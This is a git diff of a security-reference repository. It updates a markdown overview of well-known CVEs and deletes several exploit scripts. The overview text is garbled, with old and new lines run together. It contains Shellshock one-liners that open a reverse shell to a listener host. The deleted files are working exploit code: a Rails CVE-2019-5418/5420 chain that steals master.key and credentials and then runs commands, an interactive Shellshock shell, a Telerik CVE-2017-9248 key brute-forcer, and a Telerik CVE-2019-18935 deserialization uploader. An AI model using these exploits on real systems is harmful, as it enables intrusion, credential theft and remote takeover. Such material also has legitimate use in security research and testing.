> A CVE (Common Vulnerabilities and Exposures) is a unique identifier assigned to a publicly known cybersecurity vulnerability. CVEs help standardize the naming and tracking of vulnerabilities, making it easier for organizations, security professionals, and software vendors to share information and manage risks associated with these vulnerabilities. Each CVE entry includes a brief description of the vulnerability, its potential impact, and details about affected software or systems.
## Summary
* [Tools](#tools)
* [Big CVEs in the last 15 years](#big-cves-in-the-last-15-years)
* [CVE-2017-0144 - EternalBlue](#cve-2017-0144---eternalblue)
* [CVE-2017-5638 - Apache Struts 2](#cve-2017-5638---apache-struts-2)
* [CVE-2018-7600 - Drupalgeddon 2](#cve-2018-7600---drupalgeddon-2)
* [CVE-2019-0708 - BlueKeep](#cve-2019-0708---bluekeep)
* [CVE-2019-19781 - Citrix ADC Netscaler](#cve-2019-19781---citrix-adc-netscaler)
* [CVE-2014-0160 - Heartbleed](#cve-2014-0160---heartbleed)
* [CVE-2014-6271 - Shellshock](#cve-2014-6271---shellshock)
* [References](#references)
## Tools ## Tools
- [Trickest CVE Repository - Automated collection of CVEs and PoC's](https://github.com/trickest/cve) * [Trickest CVE Repository - Automated collection of CVEs and PoC's](https://github.com/trickest/cve)
- [Nuclei Templates - Community curated list of templates for the nuclei engine to find security vulnerabilities in applications](https://github.com/projectdiscovery/nuclei-templates) * [Nuclei Templates - Community curated list of templates for the nuclei engine to find security vulnerabilities in applications](https://github.com/projectdiscovery/nuclei-templates)
- [Metasploit Framework](https://github.com/rapid7/metasploit-framework) * [Metasploit Framework](https://github.com/rapid7/metasploit-framework)
- [CVE Details - The ultimate security vulnerability datasource](https://www.cvedetails.com) * [CVE Details - The ultimate security vulnerability datasource](https://www.cvedetails.com)
## Big CVEs in the last 15 years
## Big CVEs in the last 5 years.
### CVE-2017-0144 - EternalBlue ### CVE-2017-0144 - EternalBlue
EternalBlue exploits a vulnerability in Microsoft's implementation of the Server Message Block (SMB) protocol. The vulnerability exists because the SMB version 1 (SMBv1) server in various versions of Microsoft Windows mishandles specially crafted packets from remote attackers, allowing them to execute arbitrary code on the target computer. EternalBlue exploits a vulnerability in Microsoft's implementation of the Server Message Block (SMB) protocol. The vulnerability exists because the SMB version 1 (SMBv1) server in various versions of Microsoft Windows mishandles specially crafted packets from remote attackers, allowing them to execute arbitrary code on the target computer.
Afftected systems: Afftected systems:
- Windows Vista SP2
- Windows Server 2008 SP2 and R2 SP1 * Windows Vista SP2
- Windows 7 SP1 * Windows Server 2008 SP2 and R2 SP1
- Windows 8.1 * Windows 7 SP1
- Windows Server 2012 Gold and R2 * Windows 8.1
- Windows RT 8.1 * Windows Server 2012 Gold and R2
- Windows 10 Gold, 1511, and 1607 * Windows RT 8.1
- Windows Server 2016 * Windows 10 Gold, 1511, and 1607
* Windows Server 2016
### CVE-2017-5638 - Apache Struts 2 ### CVE-2017-5638 - Apache Struts 2
On March 6th, a new remote code execution (RCE) vulnerability in Apache Struts 2 was made public. This recent vulnerability, CVE-2017-5638, allows a remote attacker to inject operating system commands into a web application through the Content-Type header. On March 6th, a new remote code execution (RCE) vulnerability in Apache Struts 2 was made public. This recent vulnerability, CVE-2017-5638, allows a remote attacker to inject operating system commands into a web application through the "Content-Type" header.
### CVE-2018-7600 - Drupalgeddon 2 ### CVE-2018-7600 - Drupalgeddon 2
@@ -36,18 +51,17 @@ A remote code execution vulnerability exists within multiple subsystems of Drupa
A remote code execution vulnerability exists in Remote Desktop Services formerly known as Terminal Services when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction. An attacker who successfully exploited this vulnerability could execute arbitrary code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. A remote code execution vulnerability exists in Remote Desktop Services formerly known as Terminal Services when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction. An attacker who successfully exploited this vulnerability could execute arbitrary code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.
### CVE-2019-19781 - Citrix ADC Netscaler ### CVE-2019-19781 - Citrix ADC Netscaler
A remote code execution vulnerability in Citrix Application Delivery Controller (ADC) formerly known as NetScaler ADC and Citrix Gateway formerly known as NetScaler Gateway that, if exploited, could allow an unauthenticated attacker to perform arbitrary code execution. A remote code execution vulnerability in Citrix Application Delivery Controller (ADC) formerly known as NetScaler ADC and Citrix Gateway formerly known as NetScaler Gateway that, if exploited, could allow an unauthenticated attacker to perform arbitrary code execution.
Affected products: Affected products:
- Citrix ADC and Citrix Gateway version 13.0 all supported builds
- Citrix ADC and NetScaler Gateway version 12.1 all supported builds
- Citrix ADC and NetScaler Gateway version 12.0 all supported builds
- Citrix ADC and NetScaler Gateway version 11.1 all supported builds
- Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds
## Older, but not forgotten * Citrix ADC and Citrix Gateway version 13.0 all supported builds
* Citrix ADC and NetScaler Gateway version 12.1 all supported builds
* Citrix ADC and NetScaler Gateway version 12.0 all supported builds
* Citrix ADC and NetScaler Gateway version 11.1 all supported builds
* Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds
### CVE-2014-0160 - Heartbleed ### CVE-2014-0160 - Heartbleed
@@ -62,10 +76,10 @@ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 10.0
curl --silent -k -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.0.0.2/4444 0>&1" "https://10.0.0.1/cgi-bin/admin.cgi" curl --silent -k -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.0.0.2/4444 0>&1" "https://10.0.0.1/cgi-bin/admin.cgi"
``` ```
## Thanks to ## References
* [Heartbleed - Official website](http://heartbleed.com) * [Heartbleed - Official website](https://web.archive.org/web/20260302163556/https://heartbleed.com/)
* [Shellshock - Wikipedia](https://en.wikipedia.org/wiki/Shellshock_(software_bug)) * [Shellshock - Wikipedia](https://web.archive.org/web/20140929214920/http://en.wikipedia.org:80/wiki/Shellshock_(software_bug))
* [Imperva Apache Struts analysis](https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/) * [Imperva Apache Struts analysis](https://web.archive.org/web/20180305002332/https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/)
* [EternalBlue - Wikipedia](https://en.wikipedia.org/wiki/EternalBlue) * [EternalBlue - Wikipedia](https://web.archive.org/web/20260304111336/https://en.wikipedia.org/wiki/EternalBlue)
* [BlueKeep - Microsoft](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708) * [BlueKeep - Microsoft](https://web.archive.org/web/20201104070840/https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708)

View File

@@ -1,156 +0,0 @@
require 'erb'
require "./demo-5.2.1/config/environment"
require "base64"
require 'net/http'
$proxy_addr = '127.0.0.1'
$proxy_port = 8080
$remote = "http://172.18.0.3:3000"
$ressource = "/demo"
puts "\nRails exploit CVE-2019-5418 + CVE-2019-5420 = RCE\n\n"
print "[+] Checking if vulnerable to CVE-2019-5418 => "
uri = URI($remote + $ressource)
req = Net::HTTP::Get.new(uri)
req['Accept'] = "../../../../../../../../../../etc/passwd{{"
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
http.request(req)
}
if res.body.include? "root:x:0:0:root:"
puts "\033[92mOK\033[0m"
else
puts "KO"
abort
end
print "[+] Getting file => credentials.yml.enc => "
path = "../../../../../../../../../../config/credentials.yml.enc{{"
for $i in 0..9
uri = URI($remote + $ressource)
req = Net::HTTP::Get.new(uri)
req['Accept'] = path[3..57]
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
http.request(req)
}
if res.code == "200"
puts "\033[92mOK\033[0m"
File.open("credentials.yml.enc", 'w') { |file| file.write(res.body) }
break
end
path = path[3..57]
$i +=1;
end
print "[+] Getting file => master.key => "
path = "../../../../../../../../../../config/master.key{{"
for $i in 0..9
uri = URI($remote + $ressource)
req = Net::HTTP::Get.new(uri)
req['Accept'] = path[3..57]
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
http.request(req)
}
if res.code == "200"
puts "\033[92mOK\033[0m"
File.open("master.key", 'w') { |file| file.write(res.body) }
break
end
path = path[3..57]
$i +=1;
end
print "[+] Decrypt secret_key_base => "
credentials_config_path = File.join("../", "credentials.yml.enc")
credentials_key_path = File.join("../", "master.key")
ENV["RAILS_MASTER_KEY"] = res.body
credentials = ActiveSupport::EncryptedConfiguration.new(
config_path: Rails.root.join(credentials_config_path),
key_path: Rails.root.join(credentials_key_path),
env_key: "RAILS_MASTER_KEY",
raise_if_missing_key: true
)
if credentials.secret_key_base != nil
puts "\033[92mOK\033[0m"
puts ""
puts "secret_key_base": credentials.secret_key_base
puts ""
end
puts "[+] Getting reflective command (R) or reverse shell (S) => "
loop do
begin
input = [(print 'Select option R or S: '), gets.rstrip][1]
if input == "R"
puts "Reflective command selected"
command = [(print "command (\033[92mreflected\033[0m): "), gets.rstrip][1]
elsif input == "S"
puts "Reverse shell selected"
command = [(print "command (\033[92mnot reflected\033[0m): "), gets.rstrip][1]
else
puts "No option selected"
abort
end
command_b64 = Base64.encode64(command)
print "[+] Generating payload CVE-2019-5420 => "
secret_key_base = credentials.secret_key_base
key_generator = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000))
secret = key_generator.generate_key("ActiveStorage")
verifier = ActiveSupport::MessageVerifier.new(secret)
if input == "R"
code = "system('bash','-c','" + command + " > /tmp/result.txt')"
else
code = "system('bash','-c','" + command + "')"
end
erb = ERB.allocate
erb.instance_variable_set :@src, code
erb.instance_variable_set :@filename, "1"
erb.instance_variable_set :@lineno, 1
dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result
puts "\033[92mOK\033[0m"
puts ""
url = $remote + "/rails/active_storage/disk/" + verifier.generate(dump_target, purpose: :blob_key) + "/test"
puts url
puts ""
print "[+] Sending request => "
uri = URI(url)
req = Net::HTTP::Get.new(uri)
req['Accept'] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
http.request(req)
}
if res.code == "500"
puts "\033[92mOK\033[0m"
else
puts "KO"
abort
end
if input == "R"
print "[+] Getting result of command => "
uri = URI($remote + $ressource)
req = Net::HTTP::Get.new(uri)
req['Accept'] = "../../../../../../../../../../tmp/result.txt{{"
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
http.request(req)
}
if res.code == "200"
puts "\033[92mOK\033[0m\n\n"
puts res.body
puts "\n"
else
puts "KO"
abort
end
end
rescue Exception => e
puts "Exiting..."
abort
end
end

View File

@@ -1,36 +0,0 @@
#!/usr/bin/python
# Successful Output:
# # python shell_shocker.py <VulnURL>
# [+] Attempting Shell_Shock - Make sure to type full path
# ~$ /bin/ls /
# bin
# boot
# dev
# etc
# ..
# ~$ /bin/cat /etc/passwd
from __future__ import print_function
from future import standard_library
standard_library.install_aliases()
from builtins import input
import sys, urllib.request, urllib.error, urllib.parse
if len(sys.argv) != 2:
print("Usage: shell_shocker <URL>")
sys.exit(0)
URL=sys.argv[1]
print("[+] Attempting Shell_Shock - Make sure to type full path")
while True:
command=input("~$ ")
opener=urllib.request.build_opener()
opener.addheaders=[('User-agent', '() { foo;}; echo Content-Type: text/plain ; echo ; '+command)]
try:
response=opener.open(URL)
for line in response.readlines():
print(line.strip())
except Exception as e: print(e)

View File

@@ -1,362 +0,0 @@
# Author: Paul Taylor / @bao7uo
# https://github.com/bao7uo/dp_crypto/blob/master/dp_crypto.py
# dp_crypto - CVE-2017-9248 exploit
# Telerik.Web.UI.dll Cryptographic compromise
# Warning - no cert warnings,
# and verify = False in code below prevents verification
import sys
import base64
import requests
import re
import binascii
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
requests_sent = 0
char_requests = 0
def getProxy(proxy):
return { "http" : proxy, "https" : proxy }
def get_result(plaintext, key, session, pad_chars):
global requests_sent, char_requests
url = args.url
base_pad = (len(key) % 4)
base = '' if base_pad == 0 else pad_chars[0:4 - base_pad]
dp_encrypted = base64.b64encode(
(encrypt(plaintext, key) + base).encode()
).decode()
request = requests.Request('GET', url + '?dp=' + dp_encrypted)
request = request.prepare()
response = session.send(request, verify=False, proxies = getProxy(args.proxy))
requests_sent += 1
char_requests += 1
match = re.search("(Error Message:)(.+\n*.+)(</div>)", response.text)
return True \
if match is not None \
and match.group(2) == args.oracle \
else False
def test_keychar(keychar, found, session, pad_chars):
base64chars = [
"A", "Q", "g", "w", "B", "R", "h", "x", "C", "S", "i", "y",
"D", "T", "j", "z", "E", "U", "k", "0", "F", "V", "l", "1",
"G", "W", "m", "2", "H", "X", "n", "3", "I", "Y", "o", "4",
"J", "Z", "p", "5", "K", "a", "q", "6", "L", "b", "r", "7",
"M", "c", "s", "8", "N", "d", "t", "9", "O", "e", "u", "+",
"P", "f", "v", "/"
]
duff = False
accuracy_thoroughness_threshold = args.accuracy
for bc in range(int(accuracy_thoroughness_threshold)):
# ^^ max is len(base64chars)
sys.stdout.write("\b\b" + base64chars[bc] + "]")
sys.stdout.flush()
if not get_result(
base64chars[0] * len(found) + base64chars[bc],
found + keychar, session, pad_chars
):
duff = True
break
return False if duff else True
def encrypt(dpdata, key):
encrypted = []
k = 0
for i in range(len(dpdata)):
encrypted.append(chr(ord(dpdata[i]) ^ ord(key[k])))
k = 0 if k >= len(key) - 1 else k + 1
return ''.join(str(e) for e in encrypted)
def mode_decrypt():
ciphertext = base64.b64decode(args.ciphertext).decode()
key = args.key
print(base64.b64decode(encrypt(ciphertext, key)).decode())
print("")
def mode_encrypt():
plaintext = args.plaintext
key = args.key
plaintext = base64.b64encode(plaintext.encode()).decode()
print(base64.b64encode(encrypt(plaintext, key).encode()).decode())
print("")
def test_keypos(key_charset, unprintable, found, session):
pad_chars = ''
for pad_char in range(256):
pad_chars += chr(pad_char)
for i in range(len(pad_chars)):
for k in range(len(key_charset)):
keychar = key_charset[k]
sys.stdout.write("\b"*6)
sys.stdout.write(
(
keychar
if unprintable is False
else '+'
) +
") [" + (
keychar
if unprintable is False
else '+'
) +
"]"
)
sys.stdout.flush()
if test_keychar(keychar, found, session, pad_chars[i] * 3):
return keychar
return False
def get_key(session):
global char_requests
found = ''
unprintable = False
key_length = args.key_len
key_charset = args.charset
if key_charset == 'all':
unprintable = True
key_charset = ''
for i in range(256):
key_charset += chr(i)
else:
if key_charset == 'hex':
key_charset = '01234567890ABCDEF'
print("Attacking " + args.url)
print(
"to find key of length [" +
str(key_length) +
"] with accuracy threshold [" +
str(args.accuracy) +
"]"
)
print(
"using key charset [" +
(
key_charset
if unprintable is False
else '- all ASCII -'
) +
"]\n"
)
for i in range(int(key_length)):
pos_str = (
str(i + 1)
if i > 8
else "0" + str(i + 1)
)
sys.stdout.write("Key position " + pos_str + ": (------")
sys.stdout.flush()
keychar = test_keypos(key_charset, unprintable, found, session)
if keychar is not False:
found = found + keychar
sys.stdout.write(
"\b"*7 + "{" +
(
keychar
if unprintable is False
else '0x' + binascii.hexlify(keychar.encode()).decode()
) +
"} found with " +
str(char_requests) +
" requests, total so far: " +
str(requests_sent) +
"\n"
)
sys.stdout.flush()
char_requests = 0
else:
sys.stdout.write("\b"*7 + "Not found, quitting\n")
sys.stdout.flush()
break
if keychar is not False:
print("Found key: " +
(
found
if unprintable is False
else "(hex) " + binascii.hexlify(found.encode()).decode()
)
)
print("Total web requests: " + str(requests_sent))
return found
def mode_brutekey():
session = requests.Session()
found = get_key(session)
if found == '':
return
else:
urls = {}
url_path = args.url
params = (
'?DialogName=DocumentManager' +
'&renderMode=2' +
'&Skin=Default' +
'&Title=Document%20Manager' +
'&dpptn=' +
'&isRtl=false' +
'&dp='
)
versions = [
'2007.1423', '2007.1521', '2007.1626', '2007.2918',
'2007.21010', '2007.21107', '2007.31218', '2007.31314',
'2007.31425', '2008.1415', '2008.1515', '2008.1619',
'2008.2723', '2008.2826', '2008.21001', '2008.31105',
'2008.31125', '2008.31314', '2009.1311', '2009.1402',
'2009.1527', '2009.2701', '2009.2826', '2009.31103',
'2009.31208', '2009.31314', '2010.1309', '2010.1415',
'2010.1519', '2010.2713', '2010.2826', '2010.2929',
'2010.31109', '2010.31215', '2010.31317', '2011.1315',
'2011.1413', '2011.1519', '2011.2712', '2011.2915',
'2011.31115', '2011.3.1305', '2012.1.215', '2012.1.411',
'2012.2.607', '2012.2.724', '2012.2.912', '2012.3.1016',
'2012.3.1205', '2012.3.1308', '2013.1.220', '2013.1.403',
'2013.1.417', '2013.2.611', '2013.2.717', '2013.3.1015',
'2013.3.1114', '2013.3.1324', '2014.1.225', '2014.1.403',
'2014.2.618', '2014.2.724', '2014.3.1024', '2015.1.204',
'2015.1.225', '2015.1.401', '2015.2.604', '2015.2.623',
'2015.2.729', '2015.2.826', '2015.3.930', '2015.3.1111',
'2016.1.113', '2016.1.225', '2016.2.504', '2016.2.607',
'2016.3.914', '2016.3.1018', '2016.3.1027', '2017.1.118',
'2017.1.228', '2017.2.503', '2017.2.621', '2017.2.711',
'2017.3.913'
]
plaintext1 = 'EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,'
plaintext2_raw1 = 'Telerik.Web.UI.Editor.DialogControls.DocumentManagerDialog, Telerik.Web.UI, Version='
plaintext2_raw3 = ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
plaintext3 = ';AllowMultipleSelection,False,3,False'
if len(args.version) > 0:
versions = [args.version]
for version in versions:
plaintext2_raw2 = version
plaintext2 = base64.b64encode(
(plaintext2_raw1 +
plaintext2_raw2 +
plaintext2_raw3
).encode()
).decode()
plaintext = plaintext1 + plaintext2 + plaintext3
plaintext = base64.b64encode(
plaintext.encode()
).decode()
ciphertext = base64.b64encode(
encrypt(
plaintext,
found
).encode()
).decode()
full_url = url_path + params + ciphertext
urls[version] = full_url
found_valid_version = False
for version in urls:
url = urls[version]
request = requests.Request('GET', url)
request = request.prepare()
response = session.send(request, verify=False, proxies=getProxy(args.proxy))
if response.status_code == 500:
continue
else:
match = re.search(
"(Error Message:)(.+\n*.+)(</div>)",
response.text
)
if match is None:
print(version + ": " + url)
found_valid_version = True
break
if not found_valid_version:
print("No valid version found")
def mode_samples():
print("Samples for testing decryption and encryption functions:")
print("-d ciphertext key")
print("-e plaintext key")
print("")
print("Key:")
print("DC50EEF37087D124578FD4E205EFACBE0D9C56607ADF522D")
print("")
print("Plaintext:")
print("EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,VGVsZXJpay5XZWIuVUkuRWRpdG9yLkRpYWxvZ0NvbnRyb2xzLkRvY3VtZW50TWFuYWdlckRpYWxvZywgVGVsZXJpay5XZWIuVUksIFZlcnNpb249MjAxNi4yLjUwNC40MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0xMjFmYWU3ODE2NWJhM2Q0;AllowMultipleSelection,False,3,False")
print("")
print("Ciphertext:")
print("FhQAWBwoPl9maHYCJlx8YlZwQDAdYxRBYlgDNSJxFzZ9PUEWVlhgXHhxFipXdWR0HhV3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMLciMVMnN9AFJ0Z2EDWG4sPCpnZQMtHhRnWx8SFHBuaHZbEQJgAVdwbjwlcxNeVHY9ARgUOj9qF045eXBkSVMWEXFgX2QxHgRjSRESf1htY0BwHWZKTm9kTz8IcAwFZm0HNSNxBC5lA39zVH57Q2EJDndvYUUzCAVFRBw/KmJiZwAOCwB8WGxvciwlcgdaVH0XKiIudz98Ams6UWFjQ3oCPBJ4X0EzHXJwCRURMnVVXX5eJnZkcldgcioecxdeanMLNCAUdz98AWMrV354XHsFCTVjenh1HhdBfhwdLmVUd0BBHWZgc1RgQCoRBikEamY9ARgUOj9qF047eXJ/R3kFIzF4dkYJJnF7WCcCKgVuaGpHJgMHZWxvaikIcR9aUn0LKg0HAzZ/dGMzV3Fgc1QsfXVWAGQ9FXEMRSECEEZTdnpOJgJoRG9wbj8SfClFamBwLiMUFzZiKX8wVgRjQ3oCM3FjX14oIHJ3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMDMBEXNg9TdXcxVGEDZVVyEixUcUoDHRRNSh8WMUl7dWJfJnl8WHoHbnIgcxNLUlgDNRMELi1SAwAtVgd0WFMGIzVnX3Q3J3FgQwgGMQRjd35CHgJkXG8FbTUWWQNBUwcQNQwAOiRmPmtzY1psfmcVMBNvZUooJy5ZQgkuFENuZ0BBHgFgWG9aVDMlbBdCUgdxMxMELi1SAwAtY35aR20UcS5XZWc3Fi5zQyZ3E0B6c0BgFgBoTmJbUA0ncwMHfmMtJxdzLnRmKG8xUWB8aGIvBi1nSF5xEARBYyYDKmtSeGJWCXQHBmxaDRUhYwxLVX01CyByCHdnEHcUUXBGaHkVBhNjAmh1ExVRWycCCEFiXnptEgJaBmJZVHUeBR96ZlsLJxYGMjJpHFJyYnBGaGQZEhFjZUY+FxZvUScCCEZjXnpeCVtjAWFgSAQhcXBCfn0pCyAvFHZkL3RzeHMHdFNzIBR4A2g+HgZdZyATNmZ6aG5WE3drQ2wFCQEnBD12YVkDLRdzMj9pEl0MYXBGaVUHEi94XGA3HS5aRyAAd0JlXQltEgBnTmEHagAJX3BqY1gtCAwvBzJ/dH8wV3EPA2MZEjVRdV4zJgRjZB8SPl9uA2pHJgMGR2dafjUnBhBBfUw9ARgUOj9qFQR+")
print("")
def mode_b64e():
print(base64.b64encode(args.parameter.encode()).decode())
print("")
def mode_b64d():
print(base64.b64decode(args.parameter.encode()).decode())
print("")
sys.stderr.write(
"\ndp_crypto by Paul Taylor / @bao7uo\nCVE-2017-9248 - " +
"Telerik.Web.UI.dll Cryptographic compromise\n\n"
)
p = argparse.ArgumentParser()
subparsers = p.add_subparsers()
decrypt_parser = subparsers.add_parser('d', help='Decrypt a ciphertext')
decrypt_parser.set_defaults(func=mode_decrypt)
decrypt_parser.add_argument('ciphertext', action='store', type=str, default='', help='Ciphertext to decrypt')
decrypt_parser.add_argument('key', action='store', type=str, default='', help='Key to decrypt')
encrypt_parser = subparsers.add_parser('e', help='Encrypt a plaintext')
encrypt_parser.set_defaults(func=mode_encrypt)
encrypt_parser.add_argument('plaintext', action='store', type=str, default='', help='Ciphertext to decrypt')
encrypt_parser.add_argument('key', action='store', type=str, default='', help='Key to decrypt')
brute_parser = subparsers.add_parser('k', help='Bruteforce key/generate URL')
brute_parser.set_defaults(func=mode_brutekey)
brute_parser.add_argument('-u', '--url', action='store', type=str, help='Target URL')
brute_parser.add_argument('-l', '--key-len', action='store', type=int, default=48, help='Len of the key to retrieve, OPTIONAL: default is 48')
brute_parser.add_argument('-o', '--oracle', action='store', type=str, default='Index was outside the bounds of the array.', help='The oracle text to use. OPTIONAL: default value is for english version, other languages may have other error message')
brute_parser.add_argument('-v', '--version', action='store', type=str, default='', help='OPTIONAL. Specify the version to use rather than iterating over all of them')
brute_parser.add_argument('-c', '--charset', action='store', type=str, default='hex', help='Charset used by the key, can use all, hex, or user defined. OPTIONAL: default is hex')
brute_parser.add_argument('-a', '--accuracy', action='store', type=int, default=9, help='Maximum accuracy is out of 64 where 64 is the most accurate, \
accuracy of 9 will usually suffice for a hex, but 21 or more might be needed when testing all ascii characters. Increase the accuracy argument if no valid version is found. OPTIONAL: default is 9.')
brute_parser.add_argument('-p', '--proxy', action='store', type=str, default='', help='Specify OPTIONAL proxy server, e.g. 127.0.0.1:8080')
encode_parser = subparsers.add_parser('b', help='Encode parameter to base64')
encode_parser.set_defaults(func=mode_b64e)
encode_parser.add_argument('parameter', action='store', type=str, help='Parameter to encode')
decode_parser = subparsers.add_parser('p', help='Decode base64 parameter')
decode_parser.set_defaults(func=mode_b64d)
decode_parser.add_argument('parameter', action='store', type=str, help='Parameter to decode')
args = p.parse_args()
if len(sys.argv) > 2:
args.func()

View File

@@ -1,140 +0,0 @@
#!/usr/bin/env python3
# origin : https://github.com/noperator/CVE-2019-18935
# INSTALL:
# git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
# python3 -m venv env
# source env/bin/activate
# pip3 install -r requirements.txt
# Import encryption routines.
from sys import path
path.insert(1, 'RAU_crypto')
from RAU_crypto import RAUCipher
from argparse import ArgumentParser
from json import dumps, loads
from os.path import basename, splitext
from pprint import pprint
from requests import post
from requests.packages.urllib3 import disable_warnings
from sys import stderr
from time import time
from urllib3.exceptions import InsecureRequestWarning
disable_warnings(category=InsecureRequestWarning)
def send_request(files):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0',
'Connection': 'close',
'Accept-Language': 'en-US,en;q=0.5',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Upgrade-Insecure-Requests': '1'
}
response = post(url, files=files, verify=False, headers=headers)
try:
result = loads(response.text)
result['metaData'] = loads(RAUCipher.decrypt(result['metaData']))
pprint(result)
except:
print(response.text)
def build_raupostdata(object, type):
return RAUCipher.encrypt(dumps(object)) + '&' + RAUCipher.encrypt(type)
def upload():
# Build rauPostData.
object = {
'TargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(''), ui_version),
'TempTargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(temp_target_folder), ui_version),
'MaxFileSize': 0,
'TimeToLive': { # These values seem a bit arbitrary, but when they're all set to 0, the payload disappears shortly after being written to disk.
'Ticks': 1440000000000,
'Days': 0,
'Hours': 40,
'Minutes': 0,
'Seconds': 0,
'Milliseconds': 0,
'TotalDays': 1.6666666666666666,
'TotalHours': 40,
'TotalMinutes': 2400,
'TotalSeconds': 144000,
'TotalMilliseconds': 144000000
},
'UseApplicationPoolImpersonation': False
}
type = 'Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=' + ui_version + ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
raupostdata = build_raupostdata(object, type)
with open(filename_local, 'rb') as f:
payload = f.read()
metadata = {
'TotalChunks': 1,
'ChunkIndex': 0,
'TotalFileSize': 1,
'UploadID': filename_remote # Determines remote filename on disk.
}
# Build multipart form data.
files = {
'rauPostData': (None, raupostdata),
'file': (filename_remote, payload, 'application/octet-stream'),
'fileName': (None, filename_remote),
'contentType': (None, 'application/octet-stream'),
'lastModifiedDate': (None, '1970-01-01T00:00:00.000Z'),
'metadata': (None, dumps(metadata))
}
# Send request.
print('[*] Local payload name: ', filename_local, file=stderr)
print('[*] Destination folder: ', temp_target_folder, file=stderr)
print('[*] Remote payload name:', filename_remote, file=stderr)
print(file=stderr)
send_request(files)
def deserialize():
# Build rauPostData.
object = {
'Path': 'file:///' + temp_target_folder.replace('\\', '/') + '/' + filename_remote
}
type = 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=' + net_version + ', Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'
raupostdata = build_raupostdata(object, type)
# Build multipart form data.
files = {
'rauPostData': (None, raupostdata), # Only need this now.
'': '' # One extra input is required for the page to process the request.
}
# Send request.
print('\n[*] Triggering deserialization for .NET v' + net_version + '...\n', file=stderr)
start = time()
send_request(files)
end = time()
print('\n[*] Response time:', round(end - start, 2), 'seconds', file=stderr)
if __name__ == '__main__':
parser = ArgumentParser(description='Exploit for CVE-2019-18935, a .NET deserialization vulnerability in Telerik UI for ASP.NET AJAX.')
parser.add_argument('-t', dest='test_upload', action='store_true', help="just test file upload, don't exploit deserialization vuln")
parser.add_argument('-v', dest='ui_version', required=True, help='software version')
parser.add_argument('-n', dest='net_version', default='4.0.0.0', help='.NET version')
parser.add_argument('-p', dest='payload', required=True, help='mixed mode assembly DLL')
parser.add_argument('-f', dest='folder', required=True, help='destination folder on target')
parser.add_argument('-u', dest='url', required=True, help='https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau')
args = parser.parse_args()
temp_target_folder = args.folder.replace('/', '\\')
ui_version = args.ui_version
net_version = args.net_version
filename_local = args.payload
filename_remote = str(time()) + splitext(basename(filename_local))[1]
url = args.url
upload()
if not args.test_upload:
deserialize()

View File

@@ -1,239 +0,0 @@
#!/usr/bin/python
# From https://github.com/cyberheartmi9/CVE-2017-12617/blob/master/tomcat-cve-2017-12617.py
"""
./cve-2017-12617.py [options]
options:
-u ,--url [::] check target url if it's vulnerable
-p,--pwn [::] generate webshell and upload it
-l,--list [::] hosts list
[+]usage:
./cve-2017-12617.py -u http://127.0.0.1
